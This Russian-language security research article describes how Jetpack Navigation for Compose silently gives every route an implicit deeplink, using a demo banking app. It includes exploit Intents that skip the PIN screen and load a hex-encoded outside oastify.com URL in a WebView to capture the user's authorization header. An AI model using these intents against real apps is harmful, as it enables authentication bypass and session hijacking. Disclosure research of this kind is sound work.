Предыдущее исследование
Некоторое время назад мой коллега нашел интересную уязвимость в библиотеке Jetpack Navigation, которая позволяет открывать любой экран приложения в обход существующих ограничений для компонентов не являющихся экспортированными, а следовательно недоступными для других приложений. Суть проблемы в наличии неявного механизма обработки depplink-ов, с которым может взаимодействовать любое приложение на устройстве. Это исследование завершилось тем, что компания Google добавила в документацию к библиотеке следующее предупреждение:
Проблема этого предупреждения в том, что оно, исходя из контекста документации, касается только API для создания явных deeplink-ов. Хотя на самом деле проблема гораздо глубже. Но давайте обо всем по порядку.
Специфика навигации для Compose
Jetpack Compose — это некий новый подход к построению UI в Android. По сути это замена широко используемым ранее фрагментам. Следовательно и подходы к навигации между экранами, которые теперь являются composable функциями или виджетами, тоже будут другие. Так и появилось дополнение для библиотеки Jetpack Navigation умеющее работать экранами построенными на Jetpack Compose. Типичный пример работы с новым типом навигации выглядит так:
NavHost(startDestination = "profile/{userId}") {
...
composable(
"profile/{userId}",
arguments = listOf(navArgument("userId") { type = NavType.StringType })
) {...}
}
Основными строительными блоками графа навигации являются функции composable
, которыми описываются все переходы между экранами, как это делалось ранее для фрагментов с помощью XML. В этих же функциях есть возможность обявлять deeplink-и, которые предназначены для “приземления” пользователя на конкретный экран минуя всю необходимую последовательность переходов. Объявить такой deeplink можно следующим образом:
val uri = "https://www.example.com"
composable(
"profile?id={id}",
deepLinks = listOf(navDeepLink { uriPattern = "$uri/{id}" })
) { backStackEntry ->
Profile(navController, backStackEntry.arguments?.getString("id"))
}
<activity …>
<intent-filter>
...
<data android:scheme="https" android:host="www.example.com" />
</intent-filter>
</activity>
И здесь уже начинаются проблемы. Потому что такой deeplink делает ровно то, что я написал выше - закидывает пользователя на конкретный экран не обращая никакого внимания то какой экран при этом является стартовым. Стоп. Все это мы уже проходили в прошлом исследовании и такие проблемы Google предлагает решать механизмами условной навигации. В конце-концов, разработчик добавляя deeplink-и в свое приложение должен понимать риски их неправомерного использования и адекватно эти риски обрабатывать! Хорошо, разработчик решил не заморачиваться с мутными механизмом deeplink-ов и удалил их из своего приложения и из манифеста. Похоже, что теперь можно выдохнуть и не переживать о проблемах связанных с небезопасным использованием deeplink-ов… Помните, я сказал, что проблемы начинаются при добавлении deeplink-ов? Так вот — я врал. Проблемы начинаются гораздо раньше. Давайте разберемся в них на примере специально подготовленного приложения с сompose навигацией, но без deeplink-ов.
Эксплуатация неявных deeplink-ов
Модельное приложение представляет из себя три экрана: ввод пин-кода, основной экран и экран с веб-содержимым:
Согласно графу навигации, экран с пин-кодом всегда является стартовым по задумке разработчика, и попасть на основной экран не вводя пин-код — нельзя. Также как и переход к экрану с WebView осуществляется только с главного экрана. Так выглядит граф навигации со всеми переходами:
|
|
Манифест приложения тоже выглядит максимально просто:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">
<uses-permission android:name="android.permission.INTERNET" />
<application
android:allowBackup="false"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.SuperSecureBank"
android:usesCleartextTraffic="true"
tools:targetApi="31">
<activity
android:name=".MainActivity"
android:exported="true"
android:label="@string/app_name"
android:theme="@style/Theme.SuperSecureBank">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
Разработчик загрузит такое приложение в стор даже не подозревая о том, что оно уязвимо, хотя он ничего еще страшного в нем не сделал. Все переходы в графе навигации четко прописаны, activity в манифесте одна и других точек входа нет, deeplink-ов в приложении тоже нет. Где же уязвимость? Давайте разбираться. Для начала покажу как можно обойти экран ввода пин-кода, а потом сделаем кое-что поинтереснее.
Как мы помним — ввод пин-кода всегда первый экран и попасть на главный без ввода пин-кода нельзя. Или можно?
Сразу покажу код эксплойта:
Intent().apply {
setClassName("com.ptsecurity.supersecurebank", "com.ptsecurity.supersecurebank.MainActivity")
data = Uri.parse("android-app://androidx.navigation/Main")
startActivity(this)
}
Слишком просто чтобы быть правдой? Тогда вдогонку закину еще один пример с захватом аккаунта, а потом разберемся что же здесь черт возьми происходит. В приложении есть экран отображающий веб-содержимое. Чтобы отображать именно тот контент, который относится к пользователю, экран реализует добавление заголовка авторизации при открытии страницы:
|
|
По задумке разработчика, здесь нет никаких проблем, потому что url жестко зашит в обработчике перехода к этому экрану и поэтому вся схема выглядит безопасной:
...
composable(route = SuperSecureBankScreen.Main.name) {
MainScreen(
onOpenWebButtonClicked = {
navController.navigate(
"${SuperSecureBankScreen.WebContent.name}/${
URLEncoder.encode(
"https://ptsecurity.com",
Charsets.UTF_8.name()
)
}"
)
}
)
}
...
По сути так оно и есть. До того момента пока злоумышленник не получит возможность открывать произвольные ссылки на этом экране:
Если кто не понял, то только что произошел угон сессии пользователя без какого либо взаимодействия с ним.
Также привожу код эксплойта:
Intent().apply {
setClassName("com.ptsecurity.supersecurebank", "com.ptsecurity.supersecurebank.MainActivity")
data = Uri.parse("android-app://androidx.navigation/WebContent/%68%74%74%70%73%3a%2f%2f%33%35%36%6d%39%61%6d%39%32%35%32%64%65%6f%74%76%66%73%35%7a%71%62%69%31%6c%73%72%6a%66%39%33%79%2e%6f%61%73%74%69%66%79%2e%63%6f%6d")
startActivity(this)
}
Как это вообще стало возможным и откуда здесь deeplink-и, которые нигде не объявлялись в приложении?! А это еще один подарок от компании Google, который они не считают уязвимостью. Как он попал в приложении и можно ли с этим что-то сделать, разберемся далее.
Исследование проблемы неявных deeplink-ов
Сначала посмотрим на проблему, в отладчике, а потом найдем исходный код, который и сделал эту уязвимость возможной. Поставим точку останова в коде, который выполняется при срабатывании перехода и покопавшись в кишках имеющихся в памяти объектов увидим, что в к моменту перехода на экран, неявный deeplink уже был создан без какого-либо участия со стороны разработчика.
После изучения исходного кода библиотеки, стало понятно, что при создании роутов, библиотека сама назначает внутренние deeplink-и каждому роуту и происходит это совершенно неявно для разработчика. Найти описание этого механизма также не удалось и судя по аннотациям в коде, он является внутренним, а значит документация, если она и есть - тоже внутренняя.
Еще раз вернемся к примеру объявления нового роута согласно официальной документации:
NavHost(
navController = navController,
startDestination = SuperSecureBankScreen.Pin.name,
) {
composable(
route = "${SuperSecureBankScreen.WebContent.name}/{url}",
arguments = listOf(navArgument("url") { type = NavType.StringType })
) { backStackEntry ->
val url = backStackEntry.arguments?.getString("url")!
WebContentScreen(url)
}
}
После выполнения этой функции в приложении появится диплинк android-app://androidx.navigation/WebContent/{url}
к которому можно обратится из другого приложения передав параметр “url” без каких либо ограничений. Посмотрим на исходный код функции composable
:
|
|
Из строк 4 и 16 видно, что здесь описан стандартный механизм добавления deeplink-ов к роутам и по умолчанию там пустой список. Значит проблема не в нем, а где-то еще. Дальнейшее исследование показало, что проблема кроется в строке 12. Если посмотреть на определение поля route
, то можно увидеть кастомный set-еr, который в свою очередь вызывает метод createRoute
который и формирует некий “внутренний” deeplink для каждого переданного роута:
|
|
Есть еще один интересный момент: даже если разработчик определит у роута свой собственный набор deeplink-ов, то они просто добавятся к уже существующему неявному deeplink-у, что следует из кода метода addDeepLink
вызов которого мы уже видели выше в теле функции composable
:
|
|
Также проверим это в отладчике:
Все работает так, как и было запрограммировано — сначала добавляется неявный deeplink, а потом в ту же коллекцию попадает deeplink определенный разработчиком. А если взглянуть на функцию handleDeeplink
, которая обсуждалась в прошлом исследовании, то видно, что когда она не находит идентификаторов deeplink-ов, то вызывается функция matchDeepLink
(1), которая пытается найти переданный uri в уже известном нам массиве deepLinks
.
Конечно же это у нее получается, и дальше функция заботливо строит цепочку идентификаторов (2) для перехода по графу и добавляет переданные в составе deeplink-а аргументы в объект globalArgs
(3). Далее это все обрабатывается как обычный deeplink и открывается целевой экран с переданными аргументами.
Выводы
Про риски связанные с deeplink-ами было написано много разных материалов. Да и в целом проблема довольно известна исследователям безопасности. Ошибки связанны явными deeplink-ами регулярно находятся и эксплуатируются. Зачем добавлять еще больше проблем в эту многострадальную область — загадка.
Что делать разработчикам приложений? Самый банальный совет — не использовать эту библиотеку. Он подойдет не всем, но это самый надежный способ. Лучше потратить какое-то время на разработку и отладку своего решения для навигации, но при этом быть на 100% уверенным, что там не происходит ничего подобного. Все остальные варианты, будут иметь те или иные проблемы. Возьмем для примера официальный совет от Google - использовать условную навигацию и порассуждаем, что не так с этим советом. Официальная документация не дает примеров для Compose, поэтому возьмем за основу код из этой статьи. Автор статьи по ходу повествования приходит к следующему варианту реализации условной навигации, которая не позволит попасть на основной экран приложения минуя процедуру авторизации:
@Composable
fun SingleNavHost(
viewModel: AppViewModel,
navController: NavHostController = rememberNavController()
) {
NavHost(
navController = navController,
startDestination = "home"
) {
composable("home") {
HomeScreen(
viewModel = viewModel,
onNavigateToLoginScreen = {
navController.navigate("login")
}
)
},
composable("login") {
LoginScreen()
}
...
@Composable
fun HomeScreen(
viewModel: AppViewModel,
onNavigateToLoginScreen: () -> Unit = {}
) {
val viewState by viewModel.viewState.collectAsState()
when (viewState) {
AppViewModel.ViewState.Loading -> {
LoadingView()
}
AppViewModel.ViewState.NotLoggedIn -> {
LaunchedEffect(viewState) {
onNavigateToLoginScreen()
}
}
AppViewModel.ViewState.LoggedIn -> {
HomeScreenContent()
}
}
}
Фактически, здесь предлагается вынести проверку авторизации на домашний экран чтобы не проверять ее на каждом экране. Отличная оптимизация с точки зрения разработки, но это еще больше упрощает эксплуатацию уязвимости с неявными deeplink-ами. Ведь по сути, если проверка осуществляется только на главном экране, то достаточно на этот экран не попадать и проверка не сработает. Предположим, что разработчик решил проверять авторизацию на каждом экране и теперь при переходе по неявному deeplink-у на любой экран будет требоваться ввода пин-кода или чего-то подобного. Теперь безопасно? Снова нет. Для злоумышленника такой расклад лишь превращает его 0-click эксплойт в 1-click. При чем довольно условный 1-click, потому что пользователь при вводе пин-кода фактически не знает какой экран откроется после этой процедуры и какие параметры на этот экран будут переданы. Для него это не будет ничем отличаться от обычного входа в приложение. Уязвимость это или нет — решать вам. Google свой выбор сделали, теперь ваша очередь.